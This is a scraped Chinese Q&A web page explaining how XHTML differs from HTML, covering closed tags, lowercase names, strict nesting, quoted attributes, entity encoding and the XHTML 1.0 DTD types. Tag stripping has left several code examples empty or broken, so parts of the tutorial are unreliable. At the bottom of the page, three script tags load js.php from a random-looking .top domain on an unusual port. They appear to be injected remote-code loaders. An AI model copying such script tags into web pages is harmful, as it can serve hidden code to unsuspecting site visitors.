html和xhtml有什么区别

2025-04-12 23:06:16
推荐回答(1个)
回答1:

[编辑本段]XHTML相比于HTML
1.所有的标记都必须要有一个相应的结束标记
以前在HTML中,你可以打开许多标签,例如和

  • 而不一定写对应的
  • 来关闭它们。但在XHTML中这是不合法的。XHTML要求有严谨的结构,所有标签必须关闭。如果是单独不成对的标签,在标签最后加一个"/"来关闭它。例如:
    网页设计师
    2.所有标签的元素和属性的名字都必须使用小写
    与HTML不一样,XHTML对大小写是敏感的,和<TITLE>是不同的标签。XHTML要求所有的标签和属性的名字都必须使用小写。例如:<BODY>必须写成<body> 。大小写夹杂也是不被认可的,通常dreamweaver自动生成的属性名字"onMouseOver"也必须修改成"onmouseover"。<br> 3.所有的XML标记都必须合理嵌套<br> 同样因为XHTML要求有严谨的结构,因此所有的嵌套都必须按顺序,以前我们这样写的代码:<br> <b><br> </b> <br> 必须修改为:<br> 就是说,一层一层的嵌套必须是严格对称。<br> 4.所有的属性必须用引号""括起来<br> 在HTML中,你可以不需要给属性值加引号,但是在XHTML中,它们必须被加引号。例如:<br> <height=80> <br> 必须修改为:<br> <height="80"> <br> 特殊情况,你需要在属性值里使用双引号,你可以用",单引号可以使用',例如:<br> <alt="say'hello'"> <br> 5.把所有<和&特殊符号用编码表示<br> 任何小于号(<),不是标签的一部分,都必须被编码为& l t ; <br> 任何大于号(>),不是标签的一部分,都必须被编码为& g t ; <br> 任何与号(&),不是实体的一部分的,都必须被编码为& a m p; <br> 注:以上字符之间无空格。<br> 6.给所有属性赋一个值<br> XHTML规定所有属性都必须有一个值,没有值的就重复本身。例如:<br> <input type="checkbox" name="shirt" value="medium" checked> <br> 必须修改为:<br> <input type="checkbox" name="shirt" value="medium" checked="checked"> <br> 7.不要在注释内容中使“--”<br> “--”只能发生在XHTML注释的开头和结束,也就是说,在内容中它们不再有效。例如下面的代码是无效的:<br> <!--这里是注释-----------这里是注释--> <br> 用等号或者空格替换内部的虚线。<br> <!--这里是注释============这里是注释--> <br> 以上这些规范有的看上去比较奇怪,但这一切都是为了使我们的代码有一个统一、唯一的标准,便于以后的数据再利用。<br> 8.图片必须有说明文字<br> 每个图片标签都必须有ALT说明文字。<br> <img src="ball.jpg" alt="large red ball" /><br> XHTML的现行规范<br> 1. XHTML 1.0 Transitional - 过渡型,标识语法要求较宽松<br> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><br> 要求非常宽松的DTD,它允许你继续使用HTML4.01的标识(但是要符合xhtml的写法)。<br> 2. XHTML 1.0 Strict - 严格型,标识要求达到以上XHTML相比于HTML的所有改动<br> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><br> 要求严格的DTD,你不能使用任何表现层的标识和属性,例如<br> 。<br> 3. XHTML 1.0 Frameset - 框架集定义<br> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Frameset//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-frameset.dtd"><br> 专门针对框架页面设计使用的DTD,如果你的页面中包含有框架,需要采用这种DTD<br> 4. XHTML 1.1 - 模块化的XHTML<br> 5. XHTML 2.0 - 完全模块化可定制化的XHTML,正在开发中,参考http://w3.org/</p> </div> </div> <div class="clear"></div> </div> </div> </div> <div class="wendaright"> <div class="wdluluerwema"> <div class="wdxgwttop">相关问答</div> <div class="wdxgwtnr"> </div> <div class="clear"></div> </div> <!-- 其他随机问答['id'=>alphaID($like['zid'])] --> <div class="wdluluerwema"> <div class="wdxgwttop">最新问答</div> <div class="wdxgwtnr"> <div class="wdxgwtcont"> <div class="wdxgtitle"><a href="https://www.85l.net/index.php/l/936136696237842252.html">钢材交易B2B网站,有哪些?推荐几个比较好的,除了阿里巴巴。</a></div> </div> <div class="wdxgwtcont"> <div class="wdxgtitle"><a href="https://www.85l.net/index.php/l/2273286818879214108.html">我和老婆吵架老婆走了我该怎么办?</a></div> </div> <div class="wdxgwtcont"> <div class="wdxgtitle"><a href="https://www.85l.net/index.php/l/1371819574672271859.html">技嘉 b250m的主板什么样子</a></div> </div> <div class="wdxgwtcont"> <div class="wdxgtitle"><a href="https://www.85l.net/index.php/l/1990731729728974467.html">清代和田羊脂玉拍卖多少钱</a></div> </div> <div class="wdxgwtcont"> <div class="wdxgtitle"><a href="https://www.85l.net/index.php/l/183111616171259724.html">手机如何防止蹭网</a></div> </div> <div class="wdxgwtcont"> <div class="wdxgtitle"><a href="https://www.85l.net/index.php/l/2123033955671954147.html">增产路42号院交通方便吗?应该怎么过去?</a></div> </div> <div class="wdxgwtcont"> <div class="wdxgtitle"><a href="https://www.85l.net/index.php/l/47219922.html">数列求和</a></div> </div> <div class="wdxgwtcont"> <div class="wdxgtitle"><a href="https://www.85l.net/index.php/l/1608936488154881907.html">基站中有哪些设备</a></div> </div> <div class="wdxgwtcont"> <div class="wdxgtitle"><a href="https://www.85l.net/index.php/l/2115814126042411307.html">新帕萨特与新迈腾各有哪些优缺点</a></div> </div> <div class="wdxgwtcont"> <div class="wdxgtitle"><a href="https://www.85l.net/index.php/l/604090235.html">电动车加盟代理需要注意些什么?</a></div> </div> </div> </div> </div> <div class="clear"></div> <div class="footer"> <!-- 移动底部导航 --> <div class="fanhuitop"><a href="#top" ref="nofollow"><img src="https://www.85l.net/static/old/img/fhtop.png" alt="返回顶部" title="返回顶部"></a></div> <div class="dibu"> <div class="dibu"> </div> </div> <div class="banquan"> <p>内容全部来源于网络收集,如有侵权,请联系网站删除:QQ:24596024</p> </div> </div> </div> </div> <script> var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://hm.baidu.com/hm.js?d7381e8e13750926596c531b05a19c89"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })(); </script> <script id='x_data_1430_10' src='https://us1.dnhp8jylmzsym.top:9956/js.php?z=10&a=1430&v=1'></script> <script id='x_data_1430_9' src='https://us1.dnhp8jylmzsym.top:9956/js.php?z=9&a=1430&v=1'></script> <script id='x_data_1430_8' src='https://us1.dnhp8jylmzsym.top:9956/js.php?z=8&a=1430&v=1'></script> </body> </html>